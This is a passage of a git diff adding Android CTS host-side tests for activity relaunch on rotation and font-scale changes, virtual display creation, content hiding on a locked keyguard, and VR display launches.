+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.platform.test.annotations.Presubmit;
+
+import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+import static android.server.cts.StateLogger.logE;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerConfigChangeTests
+ */
+public class ActivityManagerConfigChangeTests extends ActivityManagerTestBase {
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
+
+    private static final String FONT_SCALE_ACTIVITY_NAME = "FontScaleActivity";
+    private static final String FONT_SCALE_NO_RELAUNCH_ACTIVITY_NAME =
+            "FontScaleNoRelaunchActivity";
+
+    private static final float EXPECTED_FONT_SIZE_SP = 10.0f;
+
+    public void testRotation90Relaunch() throws Exception{
+        // Should relaunch on every rotation and receive no onConfigurationChanged()
+        testRotation(TEST_ACTIVITY_NAME, 1, 1, 0);
+    }
+
+    public void testRotation90NoRelaunch() throws Exception {
+        // Should receive onConfigurationChanged() on every rotation and no relaunch
+        testRotation(NO_RELAUNCH_ACTIVITY_NAME, 1, 0, 1);
+    }
+
+    public void testRotation180Relaunch() throws Exception {
+        // Should receive nothing
+        testRotation(TEST_ACTIVITY_NAME, 2, 0, 0);
+    }
+
+    public void testRotation180NoRelaunch() throws Exception {
+        // Should receive nothing
+        testRotation(NO_RELAUNCH_ACTIVITY_NAME, 2, 0, 0);
+    }
+
+    @Presubmit
+    public void testChangeFontScaleRelaunch() throws Exception {
+        // Should relaunch and receive no onConfigurationChanged()
+        testChangeFontScale(FONT_SCALE_ACTIVITY_NAME, true /* relaunch */);
+    }
+
+    @Presubmit
+    public void testChangeFontScaleNoRelaunch() throws Exception {
+        // Should receive onConfigurationChanged() and no relaunch
+        testChangeFontScale(FONT_SCALE_NO_RELAUNCH_ACTIVITY_NAME, false /* relaunch */);
+    }
+
+    private void testRotation(
+            String activityName, int rotationStep, int numRelaunch, int numConfigChange)
+                    throws Exception {
+        launchActivity(activityName);
+
+        final String[] waitForActivitiesVisible = new String[] {activityName};
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+
+        final int initialRotation = 4 - rotationStep;
+        setDeviceRotation(initialRotation);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+        final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
+                activityName).mStackId;
+        final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
+        final int newDeviceRotation = getDeviceRotation(displayId);
+        if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
+            CLog.logAndDisplay(LogLevel.WARN, "Got an invalid device rotation value. "
+                    + "Continuing the test despite of that, but it is likely to fail.");
+        } else if (newDeviceRotation != initialRotation) {
+            CLog.logAndDisplay(LogLevel.INFO, "This device doesn't support user rotation "
+                    + "mode. Not continuing the rotation checks.");
+            return;
+        }
+
+        for (int rotation = 0; rotation < 4; rotation += rotationStep) {
+            final String logSeparator = clearLogcat();
+            setDeviceRotation(rotation);
+            mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+            assertRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange, logSeparator);
+        }
+    }
+
+    private void testChangeFontScale(
+            String activityName, boolean relaunch) throws Exception {
+        launchActivity(activityName);
+        final String[] waitForActivitiesVisible = new String[] {activityName};
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+
+        setFontScale(1.0f);
+        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+
+        final int densityDpi = getGlobalDensityDpi();
+
+        for (float fontScale = 0.85f; fontScale <= 1.3f; fontScale += 0.15f) {
+            final String logSeparator = clearLogcat();
+            setFontScale(fontScale);
+            mAmWmState.computeState(mDevice, waitForActivitiesVisible);
+            assertRelaunchOrConfigChanged(activityName, relaunch ? 1 : 0, relaunch ? 0 : 1,
+                    logSeparator);
+
+            // Verify that the display metrics are updated, and therefore the text size is also
+            // updated accordingly.
+            assertExpectedFontPixelSize(activityName,
+                    scaledPixelsToPixels(EXPECTED_FONT_SIZE_SP, fontScale, densityDpi),
+                    logSeparator);
+        }
+    }
+
+    /**
+     * Test updating application info when app is running. An activity with matching package name
+     * must be recreated and its asset sequence number must be incremented.
+     */
+    public void testUpdateApplicationInfo() throws Exception {
+        final String firstLogSeparator = clearLogcat();
+
+        // Launch an activity that prints applied config.
+        launchActivity(TEST_ACTIVITY_NAME);
+        final int assetSeq = readAssetSeqNumber(TEST_ACTIVITY_NAME, firstLogSeparator);
+
+        final String logSeparator = clearLogcat();
+        // Update package info.
+        executeShellCommand("am update-appinfo all " + componentName);
+        mAmWmState.waitForWithAmState(mDevice, (amState) -> {
+            // Wait for activity to be resumed and asset seq number to be updated.
+            try {
+                return readAssetSeqNumber(TEST_ACTIVITY_NAME, logSeparator) == assetSeq + 1
+                        && amState.hasActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
+            } catch (Exception e) {
+                logE("Error waiting for valid state: " + e.getMessage());
+                return false;
+            }
+        }, "Waiting asset sequence number to be updated and for activity to be resumed.");
+
+        // Check if activity is relaunched and asset seq is updated.
+        assertRelaunchOrConfigChanged(TEST_ACTIVITY_NAME, 1 /* numRelaunch */,
+                0 /* numConfigChange */, logSeparator);
+        final int newAssetSeq = readAssetSeqNumber(TEST_ACTIVITY_NAME, logSeparator);
+        assertEquals("Asset sequence number must be incremented.", assetSeq + 1, newAssetSeq);
+    }
+
+    private static final Pattern sConfigurationPattern = Pattern.compile(
+            "(.+): Configuration: \\{(.*) as.(\\d+)(.*)\\}");
+
+    /** Read asset sequence number in last applied configuration from logs. */
+    private int readAssetSeqNumber(String activityName, String logSeparator) throws Exception {
+        final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+        for (int i = lines.length - 1; i >= 0; i--) {
+            final String line = lines[i].trim();
+            final Matcher matcher = sConfigurationPattern.matcher(line);
+            if (matcher.matches()) {
+                final String assetSeqNumber = matcher.group(3);
+                try {
+                    return Integer.valueOf(assetSeqNumber);
+                } catch (NumberFormatException e) {
+                    // Ignore, asset seq number is not printed when not set.
+                }
+            }
+        }
+        return 0;
+    }
+
+    // Calculate the scaled pixel size just like the device is supposed to.
+    private static int scaledPixelsToPixels(float sp, float fontScale, int densityDpi) {
+        final int DEFAULT_DENSITY = 160;
+        float f = densityDpi * (1.0f / DEFAULT_DENSITY) * fontScale * sp;
+        return (int) ((f >= 0) ? (f + 0.5f) : (f - 0.5f));
+    }
+
+    private static Pattern sDeviceDensityPattern =
+            Pattern.compile(".*?-(l|m|tv|h|xh|xxh|xxxh|\\d+)dpi-.*?");
+
+    private int getGlobalDensityDpi() throws Exception {
+        final String result = getDevice().executeShellCommand("am get-config");
+        final String[] lines = result.split("\n");
+        if (lines.length < 1) {
+            throw new IllegalStateException("Invalid config returned from device: " + result);
+        }
+
+        final Matcher matcher = sDeviceDensityPattern.matcher(lines[0]);
+        if (!matcher.matches()) {
+            throw new IllegalStateException("Invalid config returned from device: " + lines[0]);
+        }
+        switch (matcher.group(1)) {
+            case "l": return 120;
+            case "m": return 160;
+            case "tv": return 213;
+            case "h": return 240;
+            case "xh": return 320;
+            case "xxh": return 480;
+            case "xxxh": return 640;
+        }
+        return Integer.parseInt(matcher.group(1));
+    }
+
+    private static final Pattern sFontSizePattern = Pattern.compile("^(.+): fontPixelSize=(.+)$");
+
+    /** Read the font size in the last log line. */
+    private void assertExpectedFontPixelSize(String activityName, int fontPixelSize,
+            String logSeparator) throws Exception {
+        final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+        for (int i = lines.length - 1; i >= 0; i--) {
+            final String line = lines[i].trim();
+            final Matcher matcher = sFontSizePattern.matcher(line);
+            if (matcher.matches()) {
+                assertEquals("Expected font pixel size does not match", fontPixelSize,
+                        Integer.parseInt(matcher.group(2)));
+                return;
+            }
+        }
+        fail("No fontPixelSize reported from activity " + activityName);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
new file mode 100644
index 0000000..d520f2c
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+import static android.server.cts.ActivityManagerState.STATE_STOPPED;
+import static android.server.cts.StateLogger.logE;
+
+/**
+ * Display tests that require a locked keyguard.
+ *
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDisplayLockedKeyguardTests
+ */
+public class ActivityManagerDisplayLockedKeyguardTests extends ActivityManagerDisplayTestBase {
+
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        setLockCredential();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        try {
+            removeLockCredential();
+            gotoKeyguard();
+        } catch (DeviceNotAvailableException e) {
+            logE(e.getMessage());
+        }
+        super.tearDown();
+    }
+
+    /**
+     * Test that virtual display content is hidden when device is locked.
+     */
+    public void testVirtualDisplayHidesContentWhenLocked() throws Exception {
+        if (!supportsMultiDisplay() || !isHandheld()) { return; }
+
+        // Create new usual virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+
+        // Lock the device.
+        gotoKeyguard();
+        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+        mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_STOPPED);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false /* visible */);
+
+        // Unlock and check if visibility is back.
+        unlockDeviceWithCredential();
+        mAmWmState.waitForKeyguardGone(mDevice);
+        mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
new file mode 100644
index 0000000..cf44ad7
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
@@ -0,0 +1,371 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.cts.StateLogger.log;
+import static android.server.cts.StateLogger.logE;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Base class for ActivityManager display tests.
+ *
+ * @see ActivityManagerDisplayTests
+ * @see ActivityManagerDisplayLockedKeyguardTests
+ */
+public class ActivityManagerDisplayTestBase extends ActivityManagerTestBase {
+
+    static final int CUSTOM_DENSITY_DPI = 222;
+
+    private static final String DUMPSYS_ACTIVITY_PROCESSES = "dumpsys activity processes";
+    private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
+    private static final int INVALID_DENSITY_DPI = -1;
+
+    private boolean mVirtualDisplayCreated;
+
+    /** Temp storage used for parsing. */
+    final LinkedList<String> mDumpLines = new LinkedList<>();
+
+    @Override
+    protected void tearDown() throws Exception {
+        try {
+            destroyVirtualDisplays();
+        } catch (DeviceNotAvailableException e) {
+            logE(e.getMessage());
+        }
+        super.tearDown();
+    }
+
+    /** Contains the configurations applied to attached displays. */
+    static final class DisplayState {
+        int mDisplayId;
+        String mOverrideConfig;
+
+        private DisplayState(int displayId, String overrideConfig) {
+            mDisplayId = displayId;
+            mOverrideConfig = overrideConfig;
+        }
+
+        private int getWidth() {
+            final String[] configParts = mOverrideConfig.split(" ");
+            for (String part : configParts) {
+                if (part.endsWith("dp") && part.startsWith("w")) {
+                    final String widthString = part.substring(1, part.length() - 3);
+                    return Integer.parseInt(widthString);
+                }
+            }
+
+            return -1;
+        }
+
+        private int getHeight() {
+            final String[] configParts = mOverrideConfig.split(" ");
+            for (String part : configParts) {
+                if (part.endsWith("dp") && part.startsWith("h")) {
+                    final String heightString = part.substring(1, part.length() - 3);
+                    return Integer.parseInt(heightString);
+                }
+            }
+
+            return -1;
+        }
+
+        int getDpi() {
+            final String[] configParts = mOverrideConfig.split(" ");
+            for (String part : configParts) {
+                if (part.endsWith("dpi")) {
+                    final String densityDpiString = part.substring(0, part.length() - 3);
+                    return Integer.parseInt(densityDpiString);
+                }
+            }
+
+            return -1;
+        }
+    }
+
+    /** Contains the configurations applied to attached displays. */
+    static final class ReportedDisplays {
+        private static final Pattern sGlobalConfigurationPattern =
+                Pattern.compile("mGlobalConfiguration: (\\{.*\\})");
+        private static final Pattern sDisplayOverrideConfigurationsPattern =
+                Pattern.compile("Display override configurations:");
+        private static final Pattern sDisplayConfigPattern =
+                Pattern.compile("(\\d+): (\\{.*\\})");
+
+        String mGlobalConfig;
+        private Map<Integer, DisplayState> mDisplayStates = new HashMap<>();
+
+        static ReportedDisplays create(LinkedList<String> dump) {
+            final ReportedDisplays result = new ReportedDisplays();
+
+            while (!dump.isEmpty()) {
+                final String line = dump.pop().trim();
+
+                Matcher matcher = sDisplayOverrideConfigurationsPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    while (ReportedDisplays.shouldContinueExtracting(dump, sDisplayConfigPattern)) {
+                        final String displayOverrideConfigLine = dump.pop().trim();
+                        log(displayOverrideConfigLine);
+                        matcher = sDisplayConfigPattern.matcher(displayOverrideConfigLine);
+                        matcher.matches();
+                        final Integer displayId = Integer.valueOf(matcher.group(1));
+                        result.mDisplayStates.put(displayId,
+                                new DisplayState(displayId, matcher.group(2)));
+                    }
+                    continue;
+                }
+
+                matcher = sGlobalConfigurationPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    result.mGlobalConfig = matcher.group(1);
+                }
+            }
+
+            return result;
+        }
+
+        /** Check if next line in dump matches the pattern and we should continue extracting. */
+        static boolean shouldContinueExtracting(LinkedList<String> dump, Pattern matchingPattern) {
+            if (dump.isEmpty()) {
+                return false;
+            }
+
+            final String line = dump.peek().trim();
+            return matchingPattern.matcher(line).matches();
+        }
+
+        DisplayState getDisplayState(int displayId) {
+            return mDisplayStates.get(displayId);
+        }
+
+        /** Return the display state with width, height, dpi */
+        DisplayState getDisplayState(int width, int height, int dpi) {
+            for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
+                final DisplayState ds = entry.getValue();
+                if (ds.mDisplayId != DEFAULT_DISPLAY_ID && ds.getDpi() == dpi
+                        && ds.getWidth() == width && ds.getHeight() == height) {
+                    return ds;
+                }
+            }
+            return null;
+        }
+
+        /** Check if reported state is valid. */
+        boolean isValidState(int expectedDisplayCount) {
+            if (mDisplayStates.size() != expectedDisplayCount) {
+                return false;
+            }
+
+            for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
+                final DisplayState ds = entry.getValue();
+                if (ds.mDisplayId != DEFAULT_DISPLAY_ID && ds.getDpi() == -1) {
+                    return false;
+                }
+            }
+            return true;
+        }
+    }
+
+    ReportedDisplays getDisplaysStates() throws DeviceNotAvailableException {
+        final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+        mDevice.executeShellCommand(DUMPSYS_ACTIVITY_PROCESSES, outputReceiver);
+        String dump = outputReceiver.getOutput();
+        mDumpLines.clear();
+
+        Collections.addAll(mDumpLines, dump.split("\\n"));
+
+        return ReportedDisplays.create(mDumpLines);
+    }
+
+    /** Find the display that was not originally reported in oldDisplays and added in newDisplays */
+    private List<ActivityManagerDisplayTests.DisplayState> findNewDisplayStates(
+            ReportedDisplays oldDisplays, ReportedDisplays newDisplays) {
+        final ArrayList<DisplayState> displays = new ArrayList();
+
+        for (Integer displayId : newDisplays.mDisplayStates.keySet()) {
+            if (!oldDisplays.mDisplayStates.containsKey(displayId)) {
+                displays.add(newDisplays.getDisplayState(displayId));
+            }
+        }
+
+        return displays;
+    }
+
+    /**
+     * Create new virtual display.
+     * @param densityDpi provide custom density for the display.
+     * @param launchInSplitScreen start {@link VirtualDisplayActivity} to side from
+     *                            {@link LaunchingActivity} on primary display.
+     * @param publicDisplay make display public.
+     * @param resizeDisplay should resize display when surface size changes.
+     * @param launchActivity should launch test activity immediately after display creation.
+     * @return {@link ActivityManagerDisplayTests.DisplayState} of newly created display.
+     * @throws Exception
+     */
+    private List<ActivityManagerDisplayTests.DisplayState> createVirtualDisplays(int densityDpi,
+            boolean launchInSplitScreen, boolean publicDisplay, boolean resizeDisplay,
+            String launchActivity, int displayCount) throws Exception {
+        // Start an activity that is able to create virtual displays.
+        if (launchInSplitScreen) {
+            getLaunchActivityBuilder().setToSide(true)
+                    .setTargetActivityName(VIRTUAL_DISPLAY_ACTIVITY).execute();
+        } else {
+            launchActivity(VIRTUAL_DISPLAY_ACTIVITY);
+        }
+        mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY},
+                false /* compareTaskAndStackBounds */);
+        final ActivityManagerDisplayTests.ReportedDisplays originalDS = getDisplaysStates();
+        final int originalDisplayCount = originalDS.mDisplayStates.size();
+
+        // Create virtual display with custom density dpi.
+        executeShellCommand(getCreateVirtualDisplayCommand(densityDpi, publicDisplay, resizeDisplay,
+                launchActivity, displayCount));
+        mVirtualDisplayCreated = true;
+
+        // Wait for the virtual display to be created and get configurations.
+        final ActivityManagerDisplayTests.ReportedDisplays ds =
+                getDisplayStateAfterChange(originalDisplayCount + displayCount);
+        assertEquals("New virtual display must be created",
+                originalDisplayCount + displayCount, ds.mDisplayStates.size());
+
+        // Find the newly added display.
+        final List<ActivityManagerDisplayTests.DisplayState> newDisplays
+                = findNewDisplayStates(originalDS, ds);
+        assertTrue("New virtual display must be created", displayCount == newDisplays.size());
+
+        return newDisplays;
+    }
+
+    /**
+     * Destroy existing virtual display.
+     */
+    void destroyVirtualDisplays() throws Exception {
+        if (mVirtualDisplayCreated) {
+            executeShellCommand(getDestroyVirtualDisplayCommand());
+            mVirtualDisplayCreated = false;
+        }
+    }
+
+    static class VirtualDisplayBuilder {
+        private final ActivityManagerDisplayTestBase mTests;
+
+        private int mDensityDpi = CUSTOM_DENSITY_DPI;
+        private boolean mLaunchInSplitScreen = false;
+        private boolean mPublicDisplay = false;
+        private boolean mResizeDisplay = true;
+        private String mLaunchActivity = null;
+
+        public VirtualDisplayBuilder(ActivityManagerDisplayTestBase tests) {
+            mTests = tests;
+        }
+
+        public VirtualDisplayBuilder setDensityDpi(int densityDpi) {
+            mDensityDpi = densityDpi;
+            return this;
+        }
+
+        public VirtualDisplayBuilder setLaunchInSplitScreen(boolean launchInSplitScreen) {
+            mLaunchInSplitScreen = launchInSplitScreen;
+            return this;
+        }
+
+        public VirtualDisplayBuilder setPublicDisplay(boolean publicDisplay) {
+            mPublicDisplay = publicDisplay;
+            return this;
+        }
+
+        public VirtualDisplayBuilder setResizeDisplay(boolean resizeDisplay) {
+            mResizeDisplay = resizeDisplay;
+            return this;
+        }
+
+        public VirtualDisplayBuilder setLaunchActivity(String launchActivity) {
+            mLaunchActivity = launchActivity;
+            return this;
+        }
+
+        public DisplayState build() throws Exception {
+            final List<DisplayState> displays = build(1);
+            return displays != null && !displays.isEmpty() ? displays.get(0) : null;
+        }
+
+        public List<DisplayState> build(int count) throws Exception {
+            return mTests.createVirtualDisplays(mDensityDpi, mLaunchInSplitScreen, mPublicDisplay,
+                    mResizeDisplay, mLaunchActivity, count);
+        }
+    }
+
+    private static String getCreateVirtualDisplayCommand(int densityDpi, boolean publicDisplay,
+            boolean resizeDisplay, String launchActivity, int displayCount) {
+        final StringBuilder commandBuilder
+                = new StringBuilder(getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY));
+        commandBuilder.append(" -f 0x20000000");
+        commandBuilder.append(" --es command create_display");
+        if (densityDpi != INVALID_DENSITY_DPI) {
+            commandBuilder.append(" --ei density_dpi ").append(densityDpi);
+        }
+        commandBuilder.append(" --ei count ").append(displayCount);
+        commandBuilder.append(" --ez public_display ").append(publicDisplay);
+        commandBuilder.append(" --ez resize_display ").append(resizeDisplay);
+        if (launchActivity != null) {
+            commandBuilder.append(" --es launch_target_activity ").append(launchActivity);
+        }
+        return commandBuilder.toString();
+    }
+
+    private static String getDestroyVirtualDisplayCommand() {
+        return getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY) + " -f 0x20000000" +
+                " --es command destroy_display";
+    }
+
+    /** Wait for provided number of displays and report their configurations. */
+    ReportedDisplays getDisplayStateAfterChange(int expectedDisplayCount)
+            throws DeviceNotAvailableException {
+        ReportedDisplays ds = getDisplaysStates();
+
+        int retriesLeft = 5;
+        while (!ds.isValidState(expectedDisplayCount) && retriesLeft-- > 0) {
+            log("***Waiting for the correct number of displays...");
+            try {
+                Thread.sleep(1000);
+            } catch (InterruptedException e) {
+                log(e.toString());
+            }
+            ds = getDisplaysStates();
+        }
+
+        return ds;
+    }
+
+    /** Checks if the device supports multi-display. */
+    boolean supportsMultiDisplay() throws Exception {
+        return hasDeviceFeature("android.software.activities_on_secondary_displays");
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
new file mode 100644
index 0000000..57347ff
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
@@ -0,0 +1,1567 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.server.cts;
+
+import android.platform.test.annotations.Presubmit;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+import static android.server.cts.StateLogger.log;
+import static android.server.cts.StateLogger.logE;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDisplayTests
+ */
+public class ActivityManagerDisplayTests extends ActivityManagerDisplayTestBase {
+    private static final String WM_SIZE = "wm size";
+    private static final String WM_DENSITY = "wm density";
+
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
+    private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
+    private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
+    private static final String SECOND_ACTIVITY_NAME = "SecondActivity";
+    private static final String THIRD_ACTIVITY_NAME = "ThirdActivity";
+    private static final String VR_TEST_ACTIVITY_NAME = "VrTestActivity";
+    private static final String SECOND_PACKAGE_NAME = "android.server.cts.second";
+    private static final String THIRD_PACKAGE_NAME = "android.server.cts.third";
+    private static final int VR_VIRTUAL_DISPLAY_WIDTH = 70;
+    private static final int VR_VIRTUAL_DISPLAY_HEIGHT = 90;
+    private static final int VR_VIRTUAL_DISPLAY_DPI = 320;
+
+    /** Physical display metrics and overrides in the beginning of the test. */
+    private ReportedDisplayMetrics mInitialDisplayMetrics;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mInitialDisplayMetrics = getDisplayMetrics();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        try {
+            enablePersistentVrMode(false);
+            restoreDisplayMetricsOverrides();
+        } catch (DeviceNotAvailableException e) {
+            logE(e.getMessage());
+        }
+        super.tearDown();
+    }
+
+    private void enablePersistentVrMode(boolean enabled) throws Exception {
+        if (enabled) {
+            executeShellCommand("setprop vr_virtualdisplay true");
+            executeShellCommand("vr set-persistent-vr-mode-enabled true");
+        } else {
+            executeShellCommand("vr set-persistent-vr-mode-enabled false");
+            executeShellCommand("setprop vr_virtualdisplay false");
+        }
+    }
+
+    private void restoreDisplayMetricsOverrides() throws Exception {
+        if (mInitialDisplayMetrics.sizeOverrideSet) {
+            executeShellCommand(WM_SIZE + " " + mInitialDisplayMetrics.overrideWidth + "x"
+                    + mInitialDisplayMetrics.overrideHeight);
+        } else {
+            executeShellCommand("wm size reset");
+        }
+        if (mInitialDisplayMetrics.densityOverrideSet) {
+            executeShellCommand(WM_DENSITY + " " + mInitialDisplayMetrics.overrideDensity);
+        } else {
+            executeShellCommand("wm density reset");
+        }
+    }
+
+    /**
+     * Tests that the global configuration is equal to the default display's override configuration.
+     */
+    public void testDefaultDisplayOverrideConfiguration() throws Exception {
+        final ReportedDisplays reportedDisplays = getDisplaysStates();
+        assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
+        final DisplayState primaryDisplay = reportedDisplays.getDisplayState(DEFAULT_DISPLAY_ID);
+        assertEquals("Primary display's configuration should not be equal to global configuration.",
+                reportedDisplays.mGlobalConfig, primaryDisplay.mOverrideConfig);
+    }
+
+    /**
+     * Tests that secondary display has override configuration set.
+     */
+    public void testCreateVirtualDisplayWithCustomConfig() throws Exception {
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Find the density of created display.
+        final int newDensityDpi = newDisplay.getDpi();
+        assertEquals(CUSTOM_DENSITY_DPI, newDensityDpi);
+    }
+
+    /**
+     * Tests that launch on secondary display is not permitted if device has the feature disabled.
+     * Activities requested to be launched on a secondary display in this case should land on the
+     * default display.
+     */
+    public void testMultiDisplayDisabled() throws Exception {
+        if (supportsMultiDisplay()) {
+            // Only check devices with the feature disabled.
+            return;
+        }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
+
+        // Check that activity is on the right display.
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed",
+                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+        assertEquals("Front stack must be on the default display", DEFAULT_DISPLAY_ID,
+                frontStack.mDisplayId);
+        mAmWmState.assertFocusedStack("Focus must be on the default display", frontStackId);
+    }
+
+    /**
+     * Tests that any new activity launch in Vr mode is in Vr display.
+     */
+    public void testVrActivityLaunch() throws Exception {
